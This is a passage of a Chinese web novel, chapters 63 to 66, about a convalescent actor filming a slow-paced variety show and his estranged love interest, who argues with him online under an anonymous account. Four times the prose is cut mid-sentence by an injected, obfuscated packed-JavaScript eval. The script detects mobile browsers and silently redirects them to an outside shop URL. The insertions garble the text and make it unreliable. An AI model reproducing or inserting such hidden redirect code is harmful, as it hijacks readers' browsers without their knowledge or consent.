还有时候感觉稍有进步,没过几天却又倒退回去。 现在没人在他身边,祁歌也不知道该向谁寻求鼓励,只好自己去网络上刷些病友的标签和群聊,试图寻求些安慰或是更多绝望。 “保持心态啊,坚持下去会有成效的。”医生见得多了,早已见怪不怪,简单宽慰了他两句就进入了今天的训练。 要坚持多久呢……这些训练都太贵了,也太耗时了。祁歌郁郁地想。 “高姐说了下周三要准备去录综艺先导集了,让你准备一下。还有工作室需要录一些素材,就日常的那种,你录好之后发到邮箱,我来安排剪辑。”阿远给祁歌打电话嘱咐最近的工作,说了半天没听到有人应声,“……哥?” “我在呢,”祁歌说话间喘息不定,但阿远还是听得出其中强装轻松的笑意,“什么日常,残疾人康复日常吗?” “别瞎说,”阿远打断了他的日常消极,“你可以拍拍路上的风景,在家喝茶之类的,闲适一点的,最好明天就发过来吧。然后节目那边的跟拍老师会提前去接你,从出门开始就要录,到时候会比较早地做妆造,你看你家行不行,需不需要从公司出发。” 祁歌应了一声,先提出了质疑:“出发还要妆造吗?” “废话,不然呢,摆正艺人的自觉,”阿远又骂他,“别磨叽给个准话。” “那公司吧,家里小不太方便。”祁歌这边不知道什么仪器开始疯狂发出嘀嘀声。 “公司是吧?”阿远放大了声音跟他交流,“那早上五点你家楼下接你去公司!” “医生这个可以帮忙关一下吗?”祁歌那边终于把噪声停了下来,“几点?” “早上五点。”阿远重复道。 “行我知道了,”祁歌应道,“对了阿远,之前我说要去学习的事儿……” “高姐在给你联系了,录完这个节目再安排落实,”阿远说,“挂了我忙去了。” 她毫无留恋地挂断电话,把确定好的新方案改好,打出来放到高姐的办公桌上,又下楼去盯另一个活动。 人还是忙点好,她忽然觉得。之前不太忙的时候,总在操心这个担心那个。 现在每天忙得脚不沾地,连烦恼都少了许多。 工作还真是让人充实啊。 “哥,加油工作吧!(握拳)(握拳)(握拳)” “?” 祁歌这次的效率很罕见地颇高,当天晚上就给阿远发来了一些视频,拍的风景插花茶艺什么的,完美符合阿远提出的要求。 “今天就拍这么多?”阿远很是惊讶。 “最近拍的,你看看能用的用一用。”祁歌这样说。 艺人有记录生活的习惯真是太好了! 阿远觉得工作室的日常小视频应该是能轻易完成了。 说是成立了祁歌的工作室,其实里面的员工也都是公司调拨的,属于试运行状态。 因为是第一次做,阿远和宣传组的小伙伴都留下来确定素材选择和剪辑风格,算是要定个调性。 “这些风景以街景为主,如果配乐能选择节奏感强的音乐,还是比较时尚的。”剪辑老师提议说。 “但是结合祁老师现在的状态,还是希望风格偏休闲慢节奏,正好和准备上的这个综艺搭配上。”阿远说,“这几个看起来差不多,留一个吧。” “这里的地标有点明显,”宣传组老师提出,“用的话需不需要马赛克一下?” 地标吗……阿远细细看去,只见好几个镜头都带到了大楼楼顶的logo。 等下,这个……不是程书仪的公司吗? 这人最近行动不便,还跑去程书仪公司附近打卡了?! 毕竟按照阿远的判断,程书仪应该绝对不会在公司召见他的。 阿远愣在当场,阿远琢磨不通,阿远大受震撼。 “把这些都剪掉不留了。”阿远命令道。 祁歌倘若得知她心中所想,大概会大呼冤枉。 他是在那个看片会后向导演表示自己最近都很空闲,希望可以有机会继续学习幕后工作,帮着打打杂,才会去那条街上的写字楼里去学习精剪过程。 精剪指的是影片的正式剪辑工作,结合特效的制作和调色渲染等等,一般工序会很漫长,求一个精益求精。祁歌获得导演准许,可以签了保密去帮忙校对时间轴什么的。 其实这算是个很枯燥的工作,但这是专业幕后人员的真实工作过程,对他来说是很有价值的。 “这个很好学的,”工作人员对他说,“软件和程序学会之后,就是要耐心和细心,慢慢磨。” 祁歌却觉得很难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690120|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他的手不稳,坐得时间长了腰酸背痛,下班时骨头都要散架。 在街上漫无目的地溜达时,一抬头看到熟悉的logo,才发现原来是走到了这里。 刚回来A市时,还来这边拍过宣传照。 天色渐渐暗下去了,整栋楼从最上面的logo到一层的咖啡厅都几乎灯火通明,比白天的样子要更美丽也更繁华。 上次望着这个logo时,他心里也和此刻一样,揣着同样的一个梦。 短短一年多过去了,这个梦仿佛变得更遥远了。 或许有天,望着这里时的心情真的会有所不同吧。 祁歌出发去录制时高姐很夸张地送他下了楼走到公司门口。 “姐,这也是真人秀的一部分吗?”祁歌大为诧异,“怎么搞得像送女儿出嫁?” “胡说八道,”高姐瞪他一眼,赶在他走出大门前加紧嘱咐,“小祁,我知道你状态不好,也知道这些对你来说很难,但是你叫我一声姐,我是真的想给你争取。” “嗯,”祁歌点点头,“我知道的,姐。” 他倾身过去,轻轻地拥抱了高姐一下。 “别的就不说了,”他对高姐绽开了一个笑容,“你放心。” “哥,快点出去了,不能让节目组老师等你。”阿远没时间搞伤感,连催带请终于把收拾停当的祁歌送出了门。 她本以为祁歌要完成这个工作会有点艰难,没想到过程却称得上顺利。 “你是说嘉宾们对你都很好,没人为难你,并且所有的游戏环节都很轻松?”阿远难以置信地问。 “是啊,”祁歌在赶着做妆造,顺手往嘴里塞了个什么,“给我倒点水。” 他手边立刻出现了一杯水。 这个小助理是高姐特意挑的,很有眼力见。 “说实话,看你被迫害惯了,听到这种叙述还是挺不习惯的,”阿远转向祁歌的私人助理,“录制真的顺利吗?” “啊……祁老师有几次太累了不太舒服,不过休息了一阵子就缓过来了。”小助理老老实实地说。 阿远叉起腰来。 “……你看,我刚才说的也没错啊。”祁歌辩解道,“我自己身体不行,和人家节目没关系。” “那你镜头多吗?发挥得怎么样?”阿远这次问完干脆不等他回答又转向小助理,“他有梗吗?” “哈哈,节目组写了一些,祁老师发挥的也挺好的。”小助理说,“祁老师,那个药你一次只能吃一颗。” 正准备往嘴里塞第二颗药片的祁歌愣了愣。 阿远一只手保持叉腰,另一只手劈手夺过药片:“当我面乱来是吧?” “不是,我给忘了,”祁歌指灯发誓,“昨天没睡好,有点迷迷糊糊的。” 他说着转向小助理:“谢谢你啊。” “哎哎,您客气。”小助理诚恳答言。 阿远忍不住笑出来。 也不知道高姐从哪里找的这个助理,真是一物降一物。 “今天就是第一期正式录制了,加油!”阿远给祁歌打气。 那个时候祁歌还不知道,不久后的某天,程书仪会因为在飞机上无聊而随手点开这个综艺。 64. 真好啊 虽然一季综艺节目一般要播一两个月,实际录制却只需要十来天。 因为祁歌录的这部是个慢综艺,大家全程大部分时间就是在节目组租下来的房子里聊聊天做做饭,简单游戏一番。 艺人肯定都是带着助理去的,加上编导人员灯光调度道具化妆以及海量摄像老师,整个房子周围可以说被团团围住。 “小祁第一次录节目吗?”一位前辈老师笑眯眯地问。 “对,”祁歌也笑,“有点紧张。” “我们才是真紧张,怕把你照顾不好。”旁边的一位女演员接话道。 “那我先谢谢大家了。”祁歌说,“今天的午饭就我来做吧。” 其实这个节目里有个老师做饭还不错,本来会承担这项重任。而祁歌这次来纯属是当吉祥物的,不太需要干活。 但这么多人的饭都交给一个人张罗未免有些太辛苦,而且祁歌想着自己也不好什么都不做,便时不时承担点家务活。 “那我给你打下手吧。”一位年轻的女孩子自告奋勇说。 祁歌看了她一眼。 这女孩是个新人演员,一看就是娇滴滴十指不沾阳春水的类型。祁歌一时有些拿不准她此举这是要做个贤惠勤快的人设,还是要贡献一些笑料。 “祁老师你什么意思?”女孩子佯怒瞪他,“不相信我?” “没有没有,”祁歌立刻投降,“那你小心点,别受伤了。” 女孩立刻喜笑颜开:“好嘞,全听您吩咐。” 这孩子有点像阿远,祁歌想着。 或者说,是工作量还没那么饱和时期的阿远。 一番配合非常不默契但有惊无险的手忙脚乱之后,四菜一汤终于是上了桌。 祁歌借口要洗个手,躲进洗手间先吃个药。 他好久没有在集体中这样热闹地生活,感觉心里的空洞似乎被一点点占满了,竟然心情还不错。 这次生病之后,高姐私下问过祁歌一次,问他情绪怎么样,有没有什么问题。 祁歌说问题还是有的。 然后在高姐皱起眉头之前,祁歌又补充道:“但其实只要是个病人,人均都有情绪问题……所以也无所谓了。” 细细想来,好像就是这种“无所谓”的态度,让他近来对自身或是周围的一切都有点麻木。 偶尔也会不切实际地想,要是程书仪在,该多好。 祁歌深呼吸了几次,把关于程书仪的念头从自己脑子里移除。 要是让程书仪知道自己用这种方式念叨对方,多半又要骂上一遍。 程书仪有多好,还用他说吗? 人是自己亲手推开的,这时候又想这些,还有什么用呢? 祁歌努力让自己打起精神来,推门回到吵吵闹闹的半露天餐厅里。 “小祁快坐,”前辈老师给他指了位置,“忙半天了累不累?” 祁歌顺从地坐下来,这才发现自己座位前已经被摆好了盘子,里面少量放好了几样清淡的菜色。 “吃这些可以吗?”旁边的艺人低声问他,“有没有什么不能吃的?” “可以的,谢谢哥,”祁歌也小声说,“还专门给我弄好了。” “嗯,我们几个看你脸色不太好,就说让你快点吃完去休息会儿。需要什么跟我说。” 祁歌点点头,没再说什么。 真好啊,他心想。 被看到、被重视可真好。 成名的演员可以随时随地被妥帖照顾着,长此以往习以为常。 而他习惯了亲力亲为无人问津,如今不过稍微被照顾着点,便有些受宠若惊,眼眶湿润,怕是再开口就要落泪了。 祁歌一边吃饭一边留心着大家的言谈举止。他没录过这种节目,其实除了干活,有点不知道该说什么做什么,还是要多学习才行。 吃过饭祁歌便出了镜头,去找自己的助理。 “祁老师怎么了,要回去吗?”小助理一直等在工作人员区,看到他过来便迎上来,“我去叫车?” “不是不用,”祁歌连忙阻止,“等下,我还能回去?” “对啊,”小助理说,“我们跟节目组说过了,你要是不舒服就可以先撤。” 祁歌还想说话,却忽然被刚才就隐隐升起的头晕眼花俘获,身体不受控地晃了下。 小助理一把扶住了他,还没来得及说话,祁歌就先开口了:“我好像有点发烧。” “什么!”小助理惊呼一声,又再次被祁歌摁住了。 “不要紧,可能今天活动量大了,”祁歌从容宽慰她,“应该只是低烧,你帮我找点退烧药,别惊动别人。” 他其实早就习惯身体处于亚健康的状态,要靠各种药物来顶一顶。 但小助理忧心忡忡,带他去了外面的休息区,看着他吃了药,又去找体温计给他量体温。 “真不要紧。”祁歌看了眼屏幕上显示的“37.7”,“我回去了。” 他回到院子里时,大家正在院子里做游戏。 “还以为祁老师回去休息了呢。”小女孩看到他打了个招呼,“来我们组,我们组缺人!” “什么游戏啊?”祁歌笑着说,“我怎么觉得上了贼船……” 按照剧本安排,他们现在进行的环节是类似传声筒的表演节目。 祁歌加入后,被排在最后一位,不需要表演,只需要根据前面艺人传过来的表现猜测这段出自什么作品。 他抱臂等了半天,终于等到前面的女孩转过来,一通手舞足蹈。 “这是……跳大神?”祁歌煞有介事地猜测着,“划船?孔雀?飞机?” 表演者被他逗得连连大笑,最终到底是传声失败。 “祁老师没看过我的新剧吧,”女演员笑着说,“是我们宣传不到位了!这部剧已经在某app开播了,诚邀大家来看!” 说到这里,祁歌才忽然想起,好像自己也有个剧宣任务来着。 他还没想好该怎么宣,年长的老师已经帮忙Q了一下:“小祁最近也有新剧在播对吧。” “对对,目前这部剧在平台是刚刚收官,”祁歌说,“感谢大家的关注和支持。” 这些剧宣内容都是相关公司与节目组协调定下的,后期剪辑时,会给这些剧宣都配上剪辑画面。 这时候还没人能料到,这个有点无聊的小综艺后来上线的热度还可以。 于是正好程书仪长途飞行无聊,切换了几个综艺节目,也没细看是什么,切到一个就拖一拖看看。看到一群人手舞足蹈地表演着最近哪部热播剧的名场面,传到最后一个,祁歌出现在画面里,一脸紧张认真地瞎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690121|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猜了一气,半点不搭边,被那女孩子一顿揍。 别说,还真挺好笑的。 笑完之后程书仪喝了口水,看到画面切换到大家正在宣传的剧集上。 祁歌宣传的是刚完结的那部剧——当然了,他也没多少作品可宣。 放出的这段剧情剪辑程书仪一眼就认出来了,是她去探班那天拍的一段现代戏。 她记得当时祁歌被男配好一顿欺负,凄凄惨惨的,她看不下去就走了。 可是这段画面里,祁歌的状态却不同。 他望着摄影机外的什么地方,目光中的迷茫与颓唐完全消失,而是渐渐地坚定起来。 “我不会放弃……”他在喃喃自语,随即又放大了声音:“我不会放弃。” 仿佛是在坚定说给自己,又是向全世界宣告:“我会找到你,在这个世界,我们还有时间……” 这一次我会抓紧每一分每一秒,给你一个幸福的结局。 祁歌的演技很好,程书仪一直都知道的。 可是这段表演是什么情节啊?程书仪明明记得当时的情节是男主放弃了啊…… 被勾起了好奇心,程书仪忽然有点想去看看剧里到底是怎么演的。 是不是拍到后面主创们幡然醒悟,改了主线? 如果真是那样,倒也不算无药可救。 当时的祁歌当然更无法预料到这些。 就像平时的每一天一样,那天祁歌拖着病体坚持了下来,终于完成了工作。 晚上休息得很晚,又在陌生的地方,他睡得不太好,很早就醒了。 身体还是不太舒服,但没有发烧了。祁歌松了口气。 这里位于城市的远郊,附近没有太多建筑,节目组的工作人员就在旁边搭了大型的帐篷工作。 祁歌没惊动正在打瞌睡的值班人员,悄悄走到帐篷那边。 里面有工作人员正在讨论新一天的拍摄安排:“……但是如果要去街上进货卖货,会不会工作量太大?” 祁歌听出说话的正是自家助理。 “那可以分组进行,家里也得留人嘛。”导演这么说。 祁歌故意走出了点脚步声才掀起帘子:“导演好。” “哟,说曹操曹操到,起这么早,”导演让他坐下,“你助理正跟我商量,说今天别让你上街跑了。” 按照流程,第二天他们要去集市上收购物品,再摆摊卖货挣钱,来获得晚饭食材。 “她担心我太弱,跟不上大家节奏,”祁歌笑了笑,“我明天在家做饭也行,上街跟着去摸鱼也行,听导演安排。” “上街摸鱼?”导演笑了,“听起来有点搞笑,我可是有点心动哦。” “加,现在就加!”祁歌立刻果断扭头跟旁边的工作人员说,“给我来一页那种偷懒摊平的台本,怎么搞笑怎么来,导演想要,导演得到。” 大家都哈哈大笑起来。 “哎要不祁老师你这样,”编剧老师帮着出主意,“你在家收拾完再过去摊子上找他们,然后去了就躺一躺等他们完事儿一块回来就行。” “听起来可以。”导演首肯道,“祁老师,你还挺有综艺感的。” 祁歌满怀期待:“是吗,那成片导演记得多给我点镜头。” “图穷匕见了诶!”导演拍桌笑骂。 65. 粉丝吧 程书仪没能看完那部综艺。 她的飞机在几小时后降落,接下来要跟朋友们在国外半出差半旅行,安排了半个月左右的行程。 那些浅浅的涟漪在心里荡过去,很快就散了。 不过这部综艺在网上好评度还挺高,主要是因为嘉宾们相处自然融洽,平淡却温馨。 祁歌在里面的参与感并不算太强,更多的时候都是充当一个较为边缘被照顾的角色,默默干点力所能及的活。 一开始很多人都说他像家里的小弟弟。 后来一聊年龄才知道他其实不小了,也演了挺多年的戏。 “最近是上了大导的主旋律电影是吧?是男配?”前辈艺人这样问他。 “啊,”祁歌愣了愣,“其实还没正式宣,是演了个小角色。” “这节剪掉!”那位艺人立刻对着摄像机那边比了个叉,把大家都逗笑了。 “就你来之前,我们一起看过你的戏。”前辈重新起头继续说道,“就是正在播的那部剧,你那个角色挺不好演的。” “是,我也觉得这种木讷型角色会更难演。”祁歌心知这是前辈在帮着往自己身上拉话题,连忙充满感激地接着说下去,“他需要很多微表情,需要很多配合。” 前辈点头道:“对对对要配合!这个很重要,就算你给人物设计再多,到时候导演不给特写,你就是个木头。” 在场的几人大都是演员,听到这里,大家都深有共鸣地哈哈大笑起来,纷纷痛陈自己设计了半天角色,最后全然无用的经历。 “但是设计过的话肯定还是不同的,”祁歌说,“会更有状态。” “祁老师还是经验丰富啊。”年轻的女孩子称赞了一句。 “能有前辈老师经验丰富吗?说这些。”祁歌笑着摆手,顺便稍微活动了一下身体。 脑部手术后的康复,最难的一步就是唤醒神经。 这次手术前,祁歌从未觉得身体的哪个部分不听使唤,或是大脑里有什么感受或记忆被轻易抹除。 生病总会让人更加意识到身体构造的精密与神奇。 在这里坐得聊得时间长了,祁歌觉得手脚有些发麻酸痛,于是简单地伸展了一下,调整了个姿势,身边立刻就有人问他怎么了,有没有不舒服。 “没事没事,坐久了动一动。”祁歌连忙说。 前辈艺人正在阐述“经验多了也有坏处,你演得就不真诚了……”,听到这边话茬立马来关注祁歌:“我说今天也不早了,小祁也累了,要不散了吧。” “老师您就是拿我们祁老师当借口想下班吧!”年轻女孩揶揄道。 他们这么一插科打诨,祁歌倒是也不必再勉强坚持。 于是导演批准了下班的提议,大家各自去收拾东西。祁歌却跟上前辈艺人,接上了刚才的话题:“老师,我也经常觉得,角色演得多了,会一直在重复自己做过的表演模式,这个该怎么办呢?” “哎这就是我说的不真诚了,”前辈边走边答道,“这个时候就得扔掉习惯,重新去感受去反应。” “哦……所以我觉得还得拍电影,”祁歌下定决心地说,“电视剧的话,大部分时候没那个时间和耐心给你去找这个反应。” 前辈点点头:“有道理,最近有接什么角色吗?” “完全没有。”祁歌实话实说。 前辈闻言噗嗤一声笑了出来:“哎,我突然发现小祁你一谈起角色,话一下就变多了。” 祁歌愣了下:“不好意思老师,是不是说太多了我……” “没事儿哎呀,”前辈伸手拍肩,“我们都是朋友了,怎么会嫌你说太多。我挺高兴你愿意跟我们聊聊天,看你刚来的时候特自闭。” “……也不是自闭,”祁歌挠了挠后脖颈,“老师,你有没有做过什么挺后悔的事?” “啊?”前辈对他话题的跳跃性表示惊讶,“后悔的……肯定有吧,但是人生呢,就是后悔也没什么用,至少不要再犯同样错误就行。” 祁歌点点头:“嗯……可惜错过的没办法挽回了。” “也不能那么想,”前辈到底是前辈,人生观比他豁达很多,“谁知道呢,有的事兜兜转转,福兮祸兮也未可知。” 这位老师说着高深莫测的人生哲理,忽然话锋一转:“小祁你别怪我说话太玄啊,是你自己连到底遇到了什么事都不说,让人很难聊诶。” 听到这句话,祁歌怔了一下。 他在聊天的过程中根本没意识到自己交代的信息太少了,只沉浸在脑海中一些难以尽述的情绪之中难以自拔。 这么想来,确实对人挺不尊重的。 “老师,”他郑重说,“有时间的话,我想跟您好好聊聊。” 等到程书仪结束旅途返回国内终于闲了下来,才想起要看看祁歌的那部剧。 她没想着要看得多认真,就是想知道自己亲眼看到过的一些拍摄过程,如今变成了成片是什么样子,于是一边播着一边运动聊作消遣,竟然不知不觉看了进去。 当时在片场的直觉果然是对的,这个男主看着好让人生气啊! 明明自己不敢去争取想要的东西,还自顾自地在那里顾影自怜,以为默默做了很多,其实压根无人在意。 女主不可能会喜欢这样的人吧! 可是也不知道怎么回事,这么气人的剧她居然还有点欲罢不能。 于是程书仪给阿远发消息:“你看祁歌这部剧了吗?” “没咋看,”阿远答道,“最近比较忙,打算等有空了再补。” 好吧。程书仪遗憾离场。 阿远追来问八卦:“姐,你去看这个剧啦?觉得怎么样?” “挺烂的。”程书仪直白评价。 “哦。”阿远发来一个哭脸。 算了,孩子也没做错什么。程书仪叹了口气,岔开话题,跟她聊了两句最近的工作之类的勉强安抚。 聊完上网搜了搜,整个剧的评论都被粉丝占领,一溜烟刷着哥哥好帅天选角色期待更多精彩表现。 不是人机胜似人机。 由于这种愤懑之情实在无处抒发,程书仪越想越气,认真思考并做了一个决定—— 上网发帖吐槽。 她知道这些演员的粉丝都很有战斗力,特意开了个小号。 既然是小号,当然就不必顾及客观冷静,程书仪不留情面地将这个看不顺眼的男主一通怒骂。 好的,舒服了,关掉软件睡觉。 第二天再登上去,她这条帖子居然收获了海量评论。 可见极端言论才是热度之匙,这条定律在互联网可谓屡试不爽。 程书仪对这种情况也算有所预料,不以为意地随手翻了翻评论,看到一眼粉丝的那种攻击性言论便一概忽略。 翻着翻着,看到有个人说了挺长一大篇,大概 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704432|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内容是虽然她的观点也有道理,但如果站在角色的角度巴拉巴拉,认真体会的话巴拉巴拉,总之结论是男主这些行为和心理也有其合理性。 程书仪觉得这人也太能瞎共情了,哪来这么多角色角度认真体会,观众的感想只代表观众不就行了吗。 她这样回复了过去,又草草翻了几页评论,接着继续就今天新看的集数发表了新的见解。 这次粉丝反应更激烈了,说她剧都没看完就开始胡乱批评,又说她根本是黑粉。 “我是黑粉?”程书仪一听就来气,“我愿意看看这剧给它贡献点击,你们就烧高香吧,这烂剧除了你们粉丝有人看吗?” 也不知道是不是戳到了粉丝的肺管子,第二天帖子就被举报屏蔽了。 有病吧! 程书仪本想作罢算了,没想到帖子没了消息没停,还有好多粉丝追到私信来跟她聊。 有的是毫无正当理由的纯骂(精神多少有点问题),有的是在为那些极端粉道歉(有这必要吗?),还有的……又是长篇大论的研讨。 也不知道就这么一部无脑剧到底有什么研讨的必要。 程书仪稍微读了读这段研讨,发现应该和上次发一大篇观点的那位是同一个人。这次他认真阐述了男主角色在剧中铺设的过往经历,将他的行为变成一种刻板的创伤映射。 “我觉得你说得毫无道理,”程书仪说,“有心理阴影的人很多,谁还没遇到点挫折?也没见人人心理都有问题。每个人都应该为成年后的选择负责,将错误的选择推给自己过去的际遇是毫无意义的。怎么小时候饿过肚子这辈子都减不了肥了吗?” 这次这人好像正好在线,很快又回复了过来:“我不是在为他寻找借口,只是觉得他这样做事,其实有他的原因,并非你说的不可理喻。” “合理就正确吗?”程书仪反问道,“他有他的理由,不代表他就应该这么做。这么喜欢女主,为什么不能直接去争取?如果不相信自己能够给对方幸福,又为什么要恋恋不舍纠缠不休?这不就是逻辑不通。” “他有苦衷的,他身上还背负着别的责任……”那人又回复了一大段,不过程书仪才刚读了两句,这条消息就被撤回了。 几秒钟后,新的消息变成:“你再往后看看可能会有新的理解。” 这是……怕给自己剧透了? 程书仪根本不打算看后面的部分,也懒得和这人继续聊,便直接关闭了对话框。 令人没想到的是,这人的辩论欲还挺执着。 过了几天,他又给程书仪发来消息:“您好,请问后面的集数您看了吗?” “你是粉丝吧,”程书仪没好气地给他回,“看不下去,弃了。” “好的,但我不是粉丝。”那人认真回道。 程书仪压根不信。 她点进那人主页看了一眼,发现这人的号倒是没建多久,不过已经发了不少动态,大都是校园风景,自习室,板书ppt,笔记抄写之类的东西。 看风格好像是个单纯男大,确实没发过关于明星的东西。 程书仪于是有点不解:“你不是粉丝,你这么急着洗白男主干什么?” 祁歌望着手机里的消息发愣。 不是,这个观众怎么回事,这可是男主啊,需要被洗白吗? 谁家男主原本是反派吗? 真的非常颠覆他正在学习的戏剧理论。 66. 来辩论 综艺拍摄结束后,祁歌跟前辈老师几乎彻夜长谈,将自己的经历和想法都一一尽述。 其实这段时间他并非刻意对自己的事缄默不言,只是一直没有倾诉的对象,日记倒是写了不少,可惜没人想看。 出院后祁歌保留了记日记的习惯,每天从一开始的无中生有到现在随手记录地写下来,似乎真的能稍微缓解一点心里各种各样的情绪。 关于程书仪,说实话,他有点怕听到旁人的劝慰,还有点怕听到那句“算了吧”。 虽然他自己也心知这可能真的是最好的选择。 前辈老师说,很多事没必要太执着,缘分不能强求。 祁歌认真领悟,并开始琢磨着这算不算某种佛理。 “小祁,你的心是静的吗?”最后前辈老师十分老生常谈地这样问他。 祁歌愣了下,一通猛摇头。 心静?他离这个词可差得太远了。 倘若心静,便不会每天睡不着,还昏昏沉沉怪梦连连了。 在梦里他总会进入曾经饰演过的各个世界中,时而被追杀,时而被迫害。梦里对面的人有时会变成认识的人,进而身陷险境,他每每试图挽救但终究无果。 醒来就是一身冷汗,再也睡不着了。 “你得先让自己静下来,才能有效地思考和决策嘛。”前辈老师建议道。 好的,祁歌决定听从建议,先让自己心无旁骛地进入每日的生活学习流程中。 他跟高姐沟通了一下,反正这段时间没接到太好的工作机会,就一边复健一边去学校上课,再抽空去导演那边实习。 “这么累,你受得了吗?”高姐有点怀疑他的精力水平。 “还好,这些都不需要太多体力活动,”祁歌说,“放心吧,我能安排好。” “这‘放心吧’三个字从你嘴里说出来没有半点可信度。”高姐吐槽道。 “从现在开始它会变得可信了。”祁歌保证说。 他听到电话那边嗤了一声,知道高姐只当他是又一次信口胡说,但也没去继续辩解。 人的心里有了被证实过的成见,是很难被更改的。 而祁歌已经决定抛弃执念,做自己的事就好,不去强迫它被更改了。 想通了这些,祁歌感觉心态也一步步好了点。 他把每周两次的康复训练安排妥当后,剩下的时间主要放在学校里学习戏剧编导等方面的课程。 多年后重返大学校园,祁歌发现自己已经不适应这种闲散自洽的生活。或许很多境遇都要等时过境迁回头看去,才能觉出其中美好。当年上学的时候,祁歌每天总想着出去跑实习、拍广告、接龙套……在校园里时很少慢下脚步。 现在就算是再忙,他也会停下来看看学校,看看同学们。 为此他还开了个新的小号,每天记录一些学习和生活的日常,也冲冲浪看看自己相关的内容。 他们那部电视剧虽然在播时热度不算太高,全靠陈逸心的一些粉丝刷流量,但意外地颇为长尾,播完好久都还有人在看,并且在社媒上探讨。 祁歌觉得这可能是因为这部剧拍得实在有点割裂。 一方面想要用当下流行的梗来堆叠出情节的吸引力,一方面又想要以靠演员在所谓高能片段的表演来创造真实的感染力。最后就是观众一会儿爽一会儿不爽,最后只想骂人。 可以理解。祁歌这样在笔记本上记录。 观众的反馈当然很重要,但创作者也要有自己的判断,知道如何操纵观众的情绪。 这原本不该是演员该考虑的事,但如今从这个角度去解读,竟也觉得很有意思。 祁歌也开始在网络上和观众讨论剧情或是角色。 有了小号果然方便。 小助理问他既然大号基本不营业,要不要择机公开小号算了。 祁歌一通猛摇头。 好家伙,这小号要是公开以后还要不要做人了。 “可是我看你发的都是日常啊,”小助理很不解,“让粉丝看看有什么不好?” “那是因为你没看到我跟人在评论区吵架。”祁歌说。 “你还会吵架?” 祁歌笑了一声:“好吧,我承认我也没想到。” 偶然看到那位观众言辞颇为激烈的吐槽时,原本是想随手回复一下,算是半自动给剧里的角色挽个尊。 没想到这位观众逻辑非常缜密,竟然逐条将他的辩解驳回。 祁歌觉得挺有趣,难得看到有观众骂得如此深思熟虑,一时很难说清是爱是恨。 从个人角度说,他是能够理解男主的。当然,他也能接受有人不理解,但不能因为不理解,就说这角色逻辑混乱不成立吧,因为世界上确实会有这样的人啊? 他就跟那个观众说,等看完后面的再讨论。 结果等了几天没等到后续反馈,祁歌便又去问了,想看看后续的剧集对这人的想法有没有改观。 结果那人直接问他是不是在给男主洗白。 “男主为什么需要洗白,就算你不能理解他的行为,他也并没做什么坏事。”祁歌跟对方分析道。 “你觉得他做的是好事吗?自己犹犹豫豫不把握机会,又在错过后去纠缠别人,想过别人的感受吗?” 好的,骂得好。祁歌感觉自己默默中枪。 他冷静了半个小时才去平和回话:“人和人的性格不同,当下他能做到选择是由性格决定的,这不代表他想要伤害别人。” “不管他主观怎么想,伤害别人的客观事实已经造成,他还总觉得自己是受害者,这种人不配获得原谅。” “不是你是人生判官吗还是什么?”祁歌不由有点火大,“你说不配就不配了,你是女主吗?” 对面回复得很快:“我不是女主,但我替女主不值。” 祁歌难以控制地被这人的思路牵着跑:“女主一直被男主一片真心保护着,相反她自己也没付出太多,哪里就不值了?” “听不懂算了,我去忙了。” 那人说完就陡然下线了,留给祁歌一片徒劳的茫然。 这个人……怎么这么气人啊?! 他咬牙切齿地输入:“好的,您忙,下次聊。” 程书仪是真的去忙了会儿工作,等会议散了又整理了会儿资料,不知怎的又想起了那个和男主共情的网友。 之前她看剧时是不信的,没想到世界上还真有这种人啊! 说什么一片真心保护对方,其实根本没想过对方想要还是不想要。又自大又傲慢又虚伪又不尊重人! 这听起来……和某些人也有点像。 她打开软件,看到对方还礼貌同她道别了。 有点意思,又有点烦人。 程书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720434|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仪决定先置之不理。不过她对这个人本身产生了点兴趣,便顺手点了个关注。 说起来,在此之前,她最近已经不太会想起祁歌了。 可能人生中很多事都是兜兜转转来回纠缠,但时间不会停止,脚步也不会。 阿远问过她,现在还恨不恨祁歌。 “之前也没恨啊,”程书仪回答,“他还不至于。” 